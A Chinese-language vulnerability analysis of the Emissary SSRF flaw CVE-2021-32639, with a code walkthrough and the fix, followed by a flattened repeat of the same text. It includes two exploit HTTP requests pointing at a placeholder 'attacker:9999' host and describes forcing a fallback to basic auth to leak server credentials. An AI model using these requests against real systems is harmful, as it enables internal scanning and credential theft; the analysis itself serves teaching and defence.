分析Emissary 的SSRF漏洞(CVE-2021-32639)
字数 1498 2025-08-05 08:19:38

Emissary SSRF漏洞分析(CVE-2021-32639) 教学文档

1. Emissary简介

Emissary是NSA(美国国家安全局)开发的一个基于P2P的数据驱动工作流引擎,运行在异构的、可能广泛分散的、多层的P2P计算资源网络中。

主要特点:

  • 工作流不是预先计划的,而是随着数据更多信息被发现而动态确定
  • 高度可配置,基本实现几乎不做任何操作
  • 用户需要扩展emissary.place.ServiceProviderPlace类来执行工作
  • 工作流分阶段管理:STUDY, ID, COORDINATE, TRANSFORM, ANALYZE, IO, REVIEW

2. 漏洞概述

CVE-2021-32639是Emissary中存在的SSRF(服务器端请求伪造)漏洞,攻击者可以利用该漏洞:

  1. 使服务器向攻击者控制的服务器发送请求
  2. 潜在泄露服务器凭证
  3. 扫描内网或访问内部服务

3. 漏洞触发点

3.1 触发点1 - RegisterPeerActionREST端点

漏洞利用方式

POST /emissary/RegisterPeer.action? HTTP/1.1
Host: localhost:8001
Content-Type: application/x-www-form-urlencoded

directoryName=foo.bar.baz.http://attacker:9999/&targetDir=http://localhost:8001/DirectoryPlace

影响

  • 发送多个请求到攻击者控制的服务器
  • 部分请求未经认证(如Heartbeat.action请求)
  • 部分请求带有认证信息(如RegisterPeer.action请求)

3.2 触发点2 - AddChildDirectoryAction端点

漏洞利用方式

POST /emissary/AddChildDirectory.action HTTP/1.1
Host: localhost:8001
x-requested-by:
Content-Type: application/x-www-form-urlencoded

directoryName=foo.bar.baz.http://attacker:9999/&targetDir=http://localhost:8001/DirectoryPlace

4. 漏洞分析

4.1 代码分析路径

  1. RegisterPeerAction.java处理POST请求:
@POST
@Path("/RegisterPeer.action")
@Consumes(MediaType.APPLICATION_FORM_URLENCODED)
@Produces(MediaType.APPLICATION_XML)
public Response registerPeerPost(@FormParam(DIRECTORY_NAME) String directoryName, 
                               @FormParam(TARGET_DIRECTORY) String targetDirectory) {
    // 参数检查
    return processRegisterPeer(directoryName, targetDirectory);
}
  1. 调用processRegisterPeer方法处理参数:
private Response processRegisterPeer(String peerKey, String dirName) {
    final IRemoteDirectory dir = new IRemoteDirectory.Lookup().getLocalDirectory(dirName);
    // ...
}
  1. IRemoteDirectory.Lookup.getLocalDirectory方法:
public IRemoteDirectory getLocalDirectory(final String name) {
    IDirectoryPlace dir = null;
    try {
        if (name != null) {
            dir = (IDirectoryPlace) Namespace.lookup(name); // 关键漏洞点
        } else {
            dir = DirectoryPlace.lookup();
        }
    } catch (emissary.core.EmissaryException ex) {
        logger.debug("Could not find local directory " + name);
    }
    // ...
}

4.2 漏洞原理

  • 攻击者可以控制targetDir参数的值
  • 该值被传递给Namespace.lookup()方法
  • Namespace.lookup()会尝试解析并连接到指定的URL
  • 由于缺乏对URL的验证和限制,导致SSRF漏洞

5. 凭证泄露攻击

5.1 攻击原理

Emissary使用Apache HTTP客户端发送请求:

  1. 凭证从Jetty"用户领域"(user realm)读取
  2. 存储在凭据提供程序(CRED_PROV)中
  3. 默认使用"摘要身份验证"(digest authentication)

攻击步骤

  1. 搭建恶意服务器要求"基本身份验证"(basic authentication)
  2. 利用SSRF使Emissary服务器连接到恶意服务器
  3. HTTP客户端会切换为基本身份验证
  4. 服务器凭证以Base64编码形式发送给攻击者

5.2 相关代码

凭证设置代码(EmissaryClient.java):

// 从Jetty用户领域读取凭证
// 设置到凭据提供程序中
// 配置为HTTP客户端的默认凭据提供程序

6. 修复方案

NSA采取了以下修复措施:

  1. 修复SSRF问题,增加对URL的验证和限制
  2. 强制只允许使用"摘要身份验证方案"(digest authentication),防止身份验证方法混淆
    • 即使存在SSRF,也无法泄露凭证

修复提交:
https://github.com/NationalSecurityAgency/emissary/commit/79ca5608c4f77d9a5c8a4996e204377c158a6976

7. 总结

  • CVE-2021-32639是Emissary中的SSRF漏洞
  • 影响RegisterPeerAction和AddChildDirectoryAction端点
  • 可导致内部网络扫描和服务器凭证泄露
  • 修复方案包括输入验证和强制使用安全认证方式
  • 展示了SSRF漏洞如何被用于获取系统凭证的高级攻击场景
Emissary SSRF漏洞分析(CVE-2021-32639) 教学文档 1. Emissary简介 Emissary是NSA(美国国家安全局)开发的一个基于P2P的数据驱动工作流引擎,运行在异构的、可能广泛分散的、多层的P2P计算资源网络中。 主要特点: 工作流不是预先计划的,而是随着数据更多信息被发现而动态确定 高度可配置,基本实现几乎不做任何操作 用户需要扩展 emissary.place.ServiceProviderPlace 类来执行工作 工作流分阶段管理:STUDY, ID, COORDINATE, TRANSFORM, ANALYZE, IO, REVIEW 2. 漏洞概述 CVE-2021-32639是Emissary中存在的SSRF(服务器端请求伪造)漏洞,攻击者可以利用该漏洞: 使服务器向攻击者控制的服务器发送请求 潜在泄露服务器凭证 扫描内网或访问内部服务 3. 漏洞触发点 3.1 触发点1 - RegisterPeerActionREST端点 漏洞利用方式 : 影响 : 发送多个请求到攻击者控制的服务器 部分请求未经认证(如Heartbeat.action请求) 部分请求带有认证信息(如RegisterPeer.action请求) 3.2 触发点2 - AddChildDirectoryAction端点 漏洞利用方式 : 4. 漏洞分析 4.1 代码分析路径 RegisterPeerAction.java 处理POST请求: 调用 processRegisterPeer 方法处理参数: IRemoteDirectory.Lookup.getLocalDirectory 方法: 4.2 漏洞原理 攻击者可以控制 targetDir 参数的值 该值被传递给 Namespace.lookup() 方法 Namespace.lookup() 会尝试解析并连接到指定的URL 由于缺乏对URL的验证和限制,导致SSRF漏洞 5. 凭证泄露攻击 5.1 攻击原理 Emissary使用Apache HTTP客户端发送请求: 凭证从Jetty"用户领域"(user realm)读取 存储在凭据提供程序(CRED_ PROV)中 默认使用"摘要身份验证"(digest authentication) 攻击步骤 : 搭建恶意服务器要求"基本身份验证"(basic authentication) 利用SSRF使Emissary服务器连接到恶意服务器 HTTP客户端会切换为基本身份验证 服务器凭证以Base64编码形式发送给攻击者 5.2 相关代码 凭证设置代码( EmissaryClient.java ): 6. 修复方案 NSA采取了以下修复措施: 修复SSRF问题,增加对URL的验证和限制 强制只允许使用"摘要身份验证方案"(digest authentication),防止身份验证方法混淆 即使存在SSRF,也无法泄露凭证 修复提交: https://github.com/NationalSecurityAgency/emissary/commit/79ca5608c4f77d9a5c8a4996e204377c158a6976 7. 总结 CVE-2021-32639是Emissary中的SSRF漏洞 影响RegisterPeerAction和AddChildDirectoryAction端点 可导致内部网络扫描和服务器凭证泄露 修复方案包括输入验证和强制使用安全认证方式 展示了SSRF漏洞如何被用于获取系统凭证的高级攻击场景